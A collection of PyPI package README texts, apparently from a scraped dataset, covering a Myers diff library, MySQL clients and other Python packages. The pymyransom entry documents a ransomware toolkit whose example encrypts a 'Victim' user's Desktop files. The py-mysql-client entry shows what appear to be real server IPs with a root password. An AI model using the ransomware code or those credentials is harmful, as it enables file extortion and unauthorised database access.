Saravanan666/pypi-org huggingface dataset:
Package: pymyers
PyMyersa myers diff algorithm implementation which support realtime calculation and visualizationFeaturesExtended the myers algorithm to supportrealtimecalculationsDiff trace can be drawn with animationUsing a tree data structure to store and track diff tracesInputs can be easily logged and restoredcode is well orgnized with black/isort/mypy/pytestInstallationpip install pymyersor install editablelygit clone https://github.com/leowooong/PyMyers.git
cd PyMyers
pip install -e ./UsagedifffrompymyersimportMyersRealTime,Diff# set two sequencesa="ABCABBA"b="CBABAC"# diff from a to bmatches=[(2,0),(3,2),(4,3),(6,4)]deletes=[0,1,5]inserts=[1,5]diff=Diff(matches,deletes,inserts)# calculate diffmyers=MyersRealTime(a,b)diff_re=myers.diff()assertdiff_re==diff# show diffprint('matches:',[a[c[0]]forcinmatches])print('deletes:',[a[c]forcindeletes])print('inserts:',[b[c]forcininserts])real-time diffa="0123456789"b0=""b1="0"b2="34"b3="687"b4="890"b=[b0,b1,b2,b3,b4]myers=MyersRealTime(a,b[0],max_depth=50)forbiinb[1:]:print(myers.update(bi))plota="ABCABBA"b="CBABAC"myers=MyersRealTime(a,b,plot=True,animation=True,plot_size=50)diff_re=myers.diff()loga="ABCABBA"b="CBABAC"myers=MyersRealTime(a,b,log_path='./log')diff_re=myers.diff()# restore logfrompymyersimportDebuglog_folder="./log/log-myers-2022-12-21-18:19:11"a,*b=Debug.read(log_folder)custom compare functiona=[1,2,3,4,5]b="13456"eq=lambdaa,b:a==int(b)myers=MyersRealTime(a,b,eq=eq)diff_re=myers.diff()ReferencesThanks toEugene W. Myersfor the development of the myers algorithm andJames Coglanfor the clear explanation to the myers algorithm
Package: pymyinstall
pymyinstall: easier installation of packagesInstalling packages on Windows is not necessarily easy when
they contain C++ code. I usually useUnofficial Windows Binaries for Python Extension Packagesfor one package but it requires some tricks to start from
scratch and install all the needed packages.
That’s what this package is doing.
The module helps installing modules inWindowsandLinux.
It installs two scripts. The first one installs modules:pymy_install3The second one updates installed modules:pymy_update3For a specific module:pymy_update3 <module_name>To install a preconfigured set of modules:pymy_install3 --set=pyquickhelper--helpgives the usage.It provides the following functionalities:help installing module from GitHub, pip and setupinstall other common tools or editorsprovides a list of modules to install to use Python to manipulate data (IPython, pandas, scikit-learn…)function to build a setup with Python, R and useful packages likeWinPythonSource of the packages:PyPI: pure python packagesUnofficial Windows Binaries for Python Extension Packages: packages with C++xavierdupre.fr: custom build (xgboost, …)Links:GitHub/pymyinstalldocumentationBlog
Package: pymyku
PyMyKUAn unofficialMyKUAPI wrapper and utilities for python.Table of ContentsPyMyKUTable of ContentsNoticesDocumentationExamplesInstallationPrerequisitesFrom PyPIFrom sourceUsageMethodsClientRequestsOutputNotesReferencesNoticesThis project was developed by KU students and is not affiliated with the university.
Pleaserespectthe API when using this project.DocumentationAll documentation is availablehere.You can also usehelp()to see the docstrings of any modules in pymyku.ExamplesYou can find some examples in theexamples.InstallationPrerequisitesPython3.6+From PyPIpython-mpipinstallpymykuFrom sourcegitclonehttps://github.com/phusitsom/pymyku.gitcdpymyku
python-mpipinstall-rrequirements.txt
python-mpipinstall-e.UsageYou can use this library by importing thepymykumodule to your script.MethodsAssume thatUSERNAMEis the username of your Nontri account andPASSWORDis the password of your Nontri account.Clientimportpymykuku_client=pymyku.Client('USERNAME','PASSWORD')response=ku_client.fetch_gpax()print(response)Requestsfrompymykuimportrequests,TokenAttrfrompymyku.utilsimportextractlogin_res=requests.login('USERNAME','PASSWORD')access_token=extract(login_res,TokenAttr.ACCESS_TOKEN)response=requests.get_gpax(access_token).json()print(response)Output{
    'code': 'success',
    'results': [
            {
                'std_id': '######',
                'std_code': '##########',
                'gpax': #.##,
                'total_credit': ##
            }
    ]
}NotesThe only goal of this project is to make it simpler to send API requests to MyKU.
There's no need to be concerned about the user's personal data being saved or shared.ReferencesMyKUrequestsdiscord.pyfor documentaion style and template.
Package: pymyo
pymyopymyois a platform-agnostic Python module that allows you to configure or retrieve data from a Thalmic Labs Myo armband through BLEwithoutrequiring the original dongle or the Myo SDK.pymyofollowsSemantic Versioning.Installationpymyocan be installed usingpip:$ pip install pymyoUsageTo learn how to usepymyo, visit the/examplesdirectory. For additional features not covered in the examples, the library offers comprehensive docstrings for all available methods and properties.Issue trackerPlease report any bugs and enhancement ideas using theissue tracker.AcknowledgmentsThe development of this project was made possible by professor François Nougarou.Licensepymyois licensed under the terms of theMIT License(seeLICENSE.txt).
Package: pymyplot
PymyplotA collection of useful presets for the visualization of scientific data. It is intended for personal usage but feel free to take a look at it. Also, the intention of this package is to use convention oftailwincss.As I noticed, publishing this package to pypi.org appears to be overkill. Nevertheless, I have decided to do so in order to have better access to the library for my own personal use.Requirementspython >= 3.9matplotlib >= 3.6.0InstallationYou can use eitherpoetryor pip.pipinstallpymyplot# orpoetryaddpymyplotUsageBasicIn the module,mypltoverwritesmatplotlib.pyplot. This is intended to apply custommatplotlib.pyplot.rcparamsfor a specific plot preset when it is imported. (e.g.pymyplot.aip)>>>frompymyplotimportmypltasplt# myplt overwrites matplotlib.pyplot>>>frompymyplot.basicimportLine,Font,Marker# Basic presets come with# Line: default_linewidth = 1.0# Font: default_font_size = 16.0, default_family = "sans-serif", default_font = "Helvetica"# Marker: default_size = 16.0>>>fig,ax=plt.subplots(...)>>>ax.text(...,fontsize=Font.size("sm"))>>>ax.plot(...,linewidth=Line.width("w-1.5"),marker=Marker.style("solid"))>>>ax.scatter(...,s=Marker.size("sm"))pymyplotalso usestailwindcsscolor convention.>>>frompymyplotimportget_color>>>get_color("red-400")"#f87171"EachFont,Line, andMarkerclass is interfacingget_colormethod. Therefore, you can also use:>>>Font.color("red-400")"#f87171"
Package: pymyransom
PymyransomNew in v0.4.1Updated descriptionBefore IntroducingPYMYRANSOMONLYCAN BE USED FOR EDUCATIONAL PURPOSE!!!What is Pymyransom?Pymyransom is inspired byhttps://github.com/marcosValle/RansPy/blob/master/enc.py, I changed this code for making Ransomwares.How to install Pymyransom?To install pymyransom, please typepip install pymyransom.How to use Pymyransom?makeMyRansomwareUsage : ransomware_name = makeMyRansomware(your_extension, key, username, passFile)your_extension = ".Example" : Encryption Extensionkey = b'keyfor16bytes123' : Binary key for encryptionusername=getpass.getuser() : PC's usernamepassFile=None : Pass a specific fileEncryptorUsage : ransomware_name.Encryptor(startPath)startPath : Path to encryptDecryptorUsage : ransomware_name.Decryptor(startPath)startPath : Path to decryptEncrypt_Some_ExtUsage : ransomware_name.Encrypt_Some_Ext(startPath)Encrypts only extensions in extlist.startPath : Path to encrypt some extensionsextlist=[".txt", ".mp3"] : Extensions for encryptionDecrypt_Some_ExtUsage : ransomware_name.Decrypt_Some_Ext(startPath)Decrypts only extensions in extlist.startPath : Path to encrypt some extensionsextlist=[".txt", ".mp3"] : Extensions for encryptionExample CodeimportpymyransomVictim=pymyransom.makeMyRansomware(your_extension=".Example")startpath='c:\\Users\\'+Victim.username+'\\Desktop\\**'#Used glob to encrypt all filesVictim.Encryptor(startpath)Special Thankshttps://github.com/marcosValle/,https://github.com/kevin5871/, And you!
Package: pymys
pyMYSIt is a module to make easier communication with MySensor’s network.DocumentationCurrently, all documentation can be accessed in project’s GitHub page.DependenciesYou can find all dependencies in requirements.txt and
install them using pip.Installationpython setup.py installorpip pymysSupportThis project should support all Python 3 versions. However, it was onlye tested with Python 3.4.ExamplesIf you just want to print all messages that your Gateway send to you.from pymys import mysensors as mys


def show_msg(msg):
    print(msg)

gw = mys.SerialGateway("/dev/ttyACM0", message_callback=show_msg)
print("Trying to connect...")
gw.connect()
print("Connected!")

while True:
    gw.process()Creating an application with threads which allow you write raw messages and send to your network over your Gatewayimport threading

from pymys import mysensors as mys


def run_gateway():
    while True:
        gw.process()


def show_msg(msg):
    print("Read: {}".format(msg))

gw = mys.SerialGateway("/dev/ttyACM0", message_callback=show_msg)
print("Trying to connect...")
gw.connect()
print("Connected!")

t = threading.Thread(target=run_gateway)
t.start()

while True:
    data = input("")
    msg = mys.Message(data)
    gw.send(msg)What’s newBase structure for GatewaySupport to Serial GatewaySupport to protocol 1.4Support to protocol 1.5Support to protocol 1.6Support to change callback functionsSupport to get dinamically the protocol version from the Gateway
Package: pyMyShareSDK
Important!We do not have access to the API at this point, as the API itself is not yet launched.We will be working on and updatinging this repo as soon as the situation changes!We are making the MyShare API easy to use, through our MySDK.Let us deal with setting up the correct HTTP request, so you don't have to.Table on contentsIntroductionDocumentationGetting helpContributingAPI supportIntroductionThis library provides a pure Python interface for the MyShare API. MySDK supports all of the mentioned Python versions in the tag above.Along with the initial API implementation, this library contains clever solutions to help you write even less code and easily combine multiple functions together.You will need a TOKEN from MyShare API in order for this library to function.DocumentationThake a look at ourWiki pages, here you will find all you need to start integrating MySDK into your project.Visit theMyShare APIdocumentation, as each method is structured in the same way.All our methods have the same name's as the API, but withsnake_casinginstead.
E.g. updateJob = update_jobGetting helpYou can get help in the following ways:We have atelegram groupthat you can join and ask any questions.Report bugs, request features or ask questions bycreatin an issueora discussion.OurWiki pageshas the information you need.You could always help us improve by adding missing information to the wiki! :)ContributingContributions of all sizes are welcome. Please review ourcontribution guidelinesto get started. You can also help byreporting bugsor making a pull request.Learn how topull requests.Get started withcontributing.API support⏳MyShare API v1.0.0
Package: pymysql
PyMySQLThis package contains a pure-Python MySQL client library, based onPEP
249.RequirementsPython -- one of the following:CPython: 3.7 and newerPyPy: Latest 3.x versionMySQL Server -- one of the following:MySQL>= 5.7MariaDB>= 10.4InstallationPackage is uploaded onPyPI.You can install it with pip:$ python3 -m pip install PyMySQLTo use "sha256_password" or "caching_sha2_password" for authenticate,
you need to install additional dependency:$ python3 -m pip install PyMySQL[rsa]To use MariaDB's "ed25519" authentication method, you need to install
additional dependency:$ python3 -m pip install PyMySQL[ed25519]DocumentationDocumentation is available online:https://pymysql.readthedocs.io/For support, please refer to theStackOverflow.ExampleThe following examples make use of a simple tableCREATETABLE`users`(`id`int(11)NOTNULLAUTO_INCREMENT,`email`varchar(255)COLLATEutf8_binNOTNULL,`password`varchar(255)COLLATEutf8_binNOTNULL,PRIMARYKEY(`id`))ENGINE=InnoDBDEFAULTCHARSET=utf8mb4COLLATE=utf8mb4_binAUTO_INCREMENT=1;importpymysql.cursors# Connect to the databaseconnection=pymysql.connect(host='localhost',user='user',password='passwd',database='db',cursorclass=pymysql.cursors.DictCursor)withconnection:withconnection.cursor()ascursor:# Create a new recordsql="INSERT INTO `users` (`email`, `password`) VALUES (%s,%s)"cursor.execute(sql,('webmaster@python.org','very-secret'))# connection is not autocommit by default. So you must commit to save# your changes.connection.commit()withconnection.cursor()ascursor:# Read a single recordsql="SELECT `id`, `password` FROM `users` WHERE `email`=%s"cursor.execute(sql,('webmaster@python.org',))result=cursor.fetchone()print(result)This example will print:{'password':'very-secret','id':1}ResourcesDB-API 2.0:https://www.python.org/dev/peps/pep-0249/MySQL Reference Manuals:https://dev.mysql.com/doc/MySQL client/server protocol:https://dev.mysql.com/doc/internals/en/client-server-protocol.html"Connector" channel in MySQL Community Slack:https://lefred.be/mysql-community-on-slack/PyMySQL mailing list:https://groups.google.com/forum/#!forum/pymysql-usersLicensePyMySQL is released under the MIT License. See LICENSE for more
information.
Package: pymysqlblinker
Python MySQL Replication Blinker================================Features--------This package uses`mysql-replication <https://github.com/noplay/python-mysql-replication>`__to read events from MySQL's binlog and send to blinker's signal.-  binlog action level-  schema level-  table level-  row levelIt will send RowsEvent only.Whenever a binlog event come, it will be dispatched into some signals:#. binlog\_signal: 1 signal for the binlog event.#. schema\_signal: 1 signal for the event's schema#. table\_signal: 1 signal for the event's table.#. row\_signal: 1+ signals for event's rows. 1 signal per row.Signals-------.. code-block::binlog event -> binlog signal -> schema signal -> table signal --> row signalsSo, suppose that an event come with schema=foo, table=bar and it updated2 rows. Those signal will be sent:+-----------------+--------------------------+------------------------------+| signal          | signal name              | sender                       |+=================+==========================+==============================+| binlog signal   | ``update``               | event (RowsEvent)            |+-----------------+--------------------------+------------------------------+| schema signal   | ``update@foo``           | event (RowsEvent)            |+-----------------+--------------------------+------------------------------+| table signal    | ``update@foo.bar``       | event.rows (list of array)   |+-----------------+--------------------------+------------------------------+| row signal      | ``update@foo.bar#row``   | row1 (array)                 |+-----------------+--------------------------+------------------------------+| row signal      | ``update@foo.bar#row``   | row2 object (array)          |+-----------------+--------------------------+------------------------------+Connect to signals------------------To connect to a signal, you can use the signal instance or a decorator.Suppose that you need to connect to write signal on table*db0.table1*:.. code-block:: pythonfrom pymysqlblinker import signalstbl1_signal = signals.table_write('db0', 'table1')def subscriber1(rows, schema, table):pass# use connect functiontbl1_signal.connect(subscriber1)# or use decorator@signals.on_table_write('db0', 'table1')def subscriber1(rows, schema, table):passSignal publishing-----------------To start publishing signals.. code-block:: pythonfrom pymysqlblinker import start_publishingstart_publishing('mysql://root@localhost',)Replication-----------This package support a method to replicate from mysql database. Itoperates by keep memory at last binlog position. By default, it save to a file.To make it, call:.. code-block:: pythonfrom pymysqlblinker import start_replicationstart_replication('mysql://root@localhost','/path/to/file/that/remember/binlog/position',)Change logs-----------1.2~~~-  Add BinlogPosMemory to allow replication: replication is publishingwithability to remember last binlog position. For the first run, it willstart atthe end of current binlog.1.1.1~~~~~-  Add connect\_timeout argument to pub.start\_publishing
Package: py-mysql-client
py-mysql-clientpy-mysql-client is a lite version for  mysql-python-connector package , pure mysql driver written by pythonInstallationpip install py-mysql-clientFeaturesNo cursor , get the results instantly after a query like using mysql command line clientSupport transactions autocommitedSupport prepare stmtSupport debug mode , mysql protocal packages and commands would be printed out for debugingUsageExecute ordinary queryfrom easymysql.connector import MySQLClient

db = MySQLClient()

db.connect(host="121.4.60.147",port=3306,user="root",password="jsak")

print db.execute("show databases;")stdout :[(u'information_schema',), (u'mysql',), (u'performance_schema',), (u'stock',), (u'sys',)]Execute ordinary dmldb.execute("drop table if exists testmy")

db.execute("create table if not exists testmy(id int(11),name varchar(10))")

db.execute("insert into testmy (id,name) values(1,'mamo')")

db.commit()Execute transcations autocommitteddb.autocommit = True

db.execute("drop table if exists testmy")

db.execute("create table if not exists testmy(id int(11),name varchar(10))")

db.execute("insert into testmy (id,name) values(1,'mamo')")Execute prepare stmtdb.connect(host="121.4.60.147",port=3306,user="root",password="Yrj1993718!",database="jsak")

db.prepare()

db.execute("select * from stock_daily where stock_code = ?",(601318,))Debug modedb = MySQLClient()

db.set_debug()

db.connect(host="121.4.60.197",port=3306,user="root",password="Yrj1993718!",database="stock")
Package: pymysql-dao
PyMySQLDaoIntroducePyMySQLDao是建立在PyMySQL上的功能增强库，方便用户进行CRUD；在不影响任何代码的情况下，只需要简单几行代码，便可获得表的CRUD功能！欢迎提出修改意见！🥳🥳🥳RequirementsPyMySQLpydanticInstall(venv)$pipinstallpymysql-dao说明：如果上述的命令无法下载，请考虑使用下列命令：pypi官方$ pip install pymysql-dao --index-url https://pypi.org/simple/清华源$ pip install pymysql-dao --index-url https://pypi.tuna.tsinghua.edu.cn/simple/Examples1)使用pymysqldao进行CRUD假设使用此SQL文件# !/usr/bin/env python# -*- coding: utf-8 -*-importpymysqlfrompymysqldaoimportCRUDHelperconn=pymysql.connect(host='localhost',user='root',password='',database='python_example',cursorclass=pymysql.cursors.DictCursor)classClassDao(CRUDHelper):def__init__(self):super().__init__(connection=conn,table_name="class",size=500)if__name__=='__main__':# print(ClassDao.__mro__)dao=ClassDao()# select * from class limit 20dao.select_list()# select * from class limit 2dao.select_list(2)# select * from class where class_name='火箭班' limit 20dao.select_by_field("class_name","火箭班")# select * from class where class_name='骏马班' limit 10dao.select_by_field("class_name","骏马班",size=10)# select * from class where id=1dao.select_by_id(1)# select * from class where id in (1, 2, 3)dao.select_by_id_list([1,2,3])# insert into class("class_name") values("少年班")dao.insert_one({"class_name":"少年班"})# update by idresult=dao.select_by_field("class_name","少年班")result[0]["class_name"]="少年班修改"dao.update_by_id(result[0])# delete by iddao.delete_by_id(result[0]["id"])2)使用自己定义的log格式importsysimportloggingimportpymysqlfrompymysqldaoimportCRUDHelper,LOGGERLOGGER.setLevel(logging.DEBUG)LOGGER.addHandler(logging.StreamHandler(sys.stderr))conn=pymysql.connect(host='localhost',user='root',password='',database='python_example',cursorclass=pymysql.cursors.DictCursor)classClassDao(CRUDHelper):def__init__(self):super().__init__(connection=conn,table_name="class",size=500,use_own_log_config=True)if__name__=='__main__':# print(ClassDao.__mro__)dao=ClassDao()# select * from class limit 20dao.select_list()# select * from class limit 2dao.select_list(2)
Package: pymysql-dbpool
Create Mysql Poolfrompymysqlpool.pooled_dbimportPooledDBpool=PooledDB(max_connections=10,# 连接池允许的最大连接数，0和None表示不限制连接数set_session=[f'SET time_zone = "+8:00"','SET autocommit=1'],# 开始会话前执行的命令列表。如：["set datestyle to …", "set time zone …"]ping=1,# ping 探活。 0=None=never, 1=default=requested,2=cursor created, 4=query executed,7=alwayshost="127.0.0.1",port=3306,user="root",password="admin",database="testdb",charset="utf8")Execute sql commandselectconn=pool.connect()try:cursor=conn.cursor()cursor.execute("select * from table")result=cursor.fetchall()cursor.close()finally:# 这里回收连接conn.close()insert创建pool的时候，如果设置了自动提交，即set_session参数包含SET autocommit=1语句，
那么insert之后无需调用commit()，否则需要调用commit()手动提交。conn=pool.connect()try:cursor=conn.cursor()cursor.execute("insert into table value(...)")# conn.commit()cursor.close()finally:# 这里回收连接conn.close()update创建pool的时候，如果设置了自动提交，即set_session参数包含SET autocommit=1语句，
那么update之后无需调用commit()，否则需要调用commit()手动提交。conn=pool.connect()try:cursor=conn.cursor()cursor.execute("update table set col='val' where condition")# conn.commit()cursor.close()finally:# 这里回收连接conn.close()transaction事务，调用begin()和commit()分别开启和提交事务conn=pool.connect()try:cursor=conn.cursor()# start transactionconn.begin()cursor.execute("update table set col1=val1 where condition")cursor.execute("update table set col2=val2 where condition")# commit transactionconn.commit()cursor.close()finally:# 这里回收连接conn.close()
Package: py-mysql-elasticsearch-sync
# py-mysql-elasticsearch-syncSimple and fast MySQL to Elasticsearch sync tool, written in Python.[中文文档](https://github.com/zhongbiaodev/py-mysql-elasticsearch-sync/blob/master/README_CN.md)## IntroductionThis tool helps you to initialize MySQL dump table to Elasticsearch by parsing mysqldump, then incremental sync MySQL table to Elasticsearch by processing MySQL Binlog.Also, during the binlog syncing, this tool will save the binlog sync position, so that it is easy to recover after this tool being shutdown for any reason.## InstallationBy following these steps.##### 1. ibxml2 and libxsltThis tool depends on python lxml package, so that you should install  the lxml's dependecies correctly, the libxml2 and libxslt are required.For example, in CentOS:```sudo yum install libxml2 libxml2-devel libxslt libxslt-devel```Or in Debian/Ubuntu:```sudo apt-get install libxml2-dev libxslt-dev python-dev```See [lxml Installation](http://lxml.de/installation.html) for more infomation.##### 2. mysqldumpAnd then, mysqldump is required in the machine where this tool will be run on it.(and the mysql server must enable binlog)##### 3. this toolThen install this tool```pip install py-mysql-elasticsearch-sync```## ConfigurationThere is a [sample config](https://github.com/zhongbiaodev/py-mysql-elasticsearch-sync/blob/master/es_sync/sample.yaml) file in repo, you can start by editing it.## RunningSimply run command```es-sync path/to/your/config.yaml```and the tool will dump your data as stream to sync, when dump is over, it will start to sync binlog.The latest synced binlog file and position are recorded in your info file which is configured in your config file. You can restart dump step by remove it, or you can change sync position by edit it.Or if you  but want to load it from your own dumpfile. You should dump your table first as xml format(by adding ```-X```option to your mysqldump command)then```es-sync path/to/your/config.yaml --fromfile```to start sync, when xml sync is over, it will also start binlog sync.## DeploymentWe provide an [upstart script]((https://github.com/zhongbiaodev/py-mysql-elasticsearch-sync/blob/master/upstart.conf)) to help you deploy this tool, you can edit it for your own condition, besides, you can deploy it in your own way.## MultiTable SupportingNow Multi-table is supported through setting tables in config file, the first table is master as default and the others are slave.Master table and slave tables must use the same primary key, which is defined via _id.Table has higher priority than tables.## TODO- [ ] MultiIndex Supporting